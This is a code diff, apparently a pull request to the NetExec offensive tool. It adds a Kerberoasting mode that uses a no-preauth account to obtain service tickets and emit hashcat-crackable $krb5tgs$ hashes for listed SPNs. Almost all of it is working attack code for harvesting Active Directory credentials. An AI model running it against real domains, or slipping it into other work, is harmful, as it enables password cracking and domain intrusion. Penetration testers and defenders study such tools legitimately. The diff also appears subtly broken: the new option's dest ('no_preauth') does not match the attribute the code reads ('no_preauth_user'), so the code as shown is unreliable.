Add Kerberoasting support with no-preauth user

Author: azoxlpf

nxc/protocols/ldap.py

@@ -981,6 +981,54 @@ def asreproast(self):
                         hash_asreproast.write(f"{hash_TGT}\n")
 
     def kerberoasting(self):
+        if self.args.no_preauth_user:
+             if not self.args.username:
+                 self.logger.fail("Use -u/--username to supply a list of usernames or SPNs (file or comma-separated list)")
+                 return
+
+             usernames = []
+             for item in self.args.username:
+                 if os.path.isfile(item):
+                     with open(item, encoding="utf-8") as f:
+                         usernames.extend(l.strip() for l in f if l.strip())
+                 else:
+                     usernames.append(item.strip())
+
+             skipped = []
+             hashes  = []
+
+             for spn in usernames:
+                 base_name = spn.split("/", 1)[0].split("@", 1)[0].rstrip()
+
+                 if base_name.lower() == "krbtgt" or base_name.endswith("$"):
+                     skipped.append(base_name)
+                     continue
+
+                 hashline = KerberosAttacks(self).get_tgs_no_preauth(
+                     self.args.no_preauth_user,
+                     spn
+                 )
+                 if hashline:
+                     hashes.append(hashline)
+
+             if skipped:
+                 self.logger.display(f"Skipping account: {', '.join(skipped)}")
+
+             if hashes:
+                 self.logger.display(f"Total of records returned {len(hashes)}")
+             else:
+                 self.logger.highlight("No entries found!")
+
+             for line in hashes:
+                 self.logger.highlight(line)
+                 if self.args.kerberoasting:
+                     with open(self.args.kerberoasting, "a+", encoding="utf-8") as f:
+                         f.write(line + "\n")
+
+             return
+
+
+
         # Building the search filter
         searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))"
         attributes = [
@@ -1436,3 +1484,5 @@ def bloodhound(self):
                 if each_file.startswith(self.output_filename.split("/")[-1]) and each_file.endswith("json"):
                     z.write(each_file)
                     os.remove(each_file)
+
+

nxc/protocols/ldap/kerberos.py

@@ -104,6 +104,56 @@ def output_tgs(self, tgs, old_session_key, session_key, username, spn, fd=None):
 
         return entry
 
+    def output_tgs_from_asrep(self, asrep_blob, spn, fd=None):
+        asrep  = decoder.decode(asrep_blob, asn1Spec=AS_REP())[0]
+        realm  = self.domain.upper()
+        enc    = asrep['ticket']['enc-part']
+        etype  = enc['etype']
+        cipher = enc['cipher'].asOctets()
+
+        if etype == constants.EncryptionTypes.rc4_hmac.value:                  # 23
+            chk  = hexlify(cipher[:16]).decode()
+            data = hexlify(cipher[16:]).decode()
+            entry = "$krb5tgs${}$*{}${}${}*${}${}".format(
+                etype,
+                spn.split('/')[0],
+                realm,
+                spn.replace(":", "~"),
+                chk,
+                data,
+            )
+
+        elif etype == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: # 17
+            chk  = hexlify(cipher[-12:]).decode()
+            data = hexlify(cipher[:-12]).decode()
+            entry = "$krb5tgs${}${}${}$*{}*${}${}".format(
+                etype,
+                spn.split('/')[0],
+                realm,
+                spn.replace(":", "~"),
+                chk,
+                data,
+            )
+
+        elif etype == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: # 18
+            chk  = hexlify(cipher[-12:]).decode()
+            data = hexlify(cipher[:-12]).decode()
+            entry = "$krb5tgs${}${}${}$*{}*${}${}".format(
+                etype,
+                spn.split('/')[0],
+                realm,
+                spn.replace(":", "~"),
+                chk,
+                data,
+            )
+        else:
+            self.logger.fail(f"[{spn}] etype {etype} not supported")
+            return None
+
+        if fd:
+            fd.write(entry + "\n")
+        return entry
+
     def get_tgt_kerberoasting(self, kcache=None):
         if kcache:
             if getenv("KRB5CCNAME"):
@@ -178,6 +228,28 @@ def get_tgt_kerberoasting(self, kcache=None):
         nxc_logger.debug(f"Final TGT: {tgt_data}")
         return tgt_data
 
+    def get_tgs_no_preauth(self, no_preauth_user, spn):
+        no_pre_princ = Principal(no_preauth_user,
+                                type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+
+        try:
+            ticket, _cipher, _old, _sess = getKerberosTGT(
+                clientName=no_pre_princ,
+                password="",
+                domain=self.domain,
+                lmhash=b"",
+                nthash=b"",
+                aesKey="",
+                kdcHost=self.kdcHost,
+                serverName=spn,
+                kerberoast_no_preauth=True
+            )
+        except Exception as e:
+            nxc_logger.debug(f"Unable to retrieve the ticket for {spn} via {no_preauth_user}: {e}")
+            return None
+
+        return self.output_tgs_from_asrep(ticket, spn)
+
     def get_tgt_asroast(self, userName, requestPAC=True):
         client_name = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
 

nxc/protocols/ldap/proto_args.py

@@ -13,6 +13,7 @@ def proto_args(parser, parents):
     egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos")
     egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
     egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file")
+    egroup.add_argument("--no-preauth", "-np",dest="no_preauth", help="No-preauth user for AS-REQ Kerberoast (use with -u users/SPNs).")
 
     vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain")
     vgroup.add_argument("--base-dn", metavar="BASE_DN", dest="base_dn", type=str, default=None, help="base DN for search queries")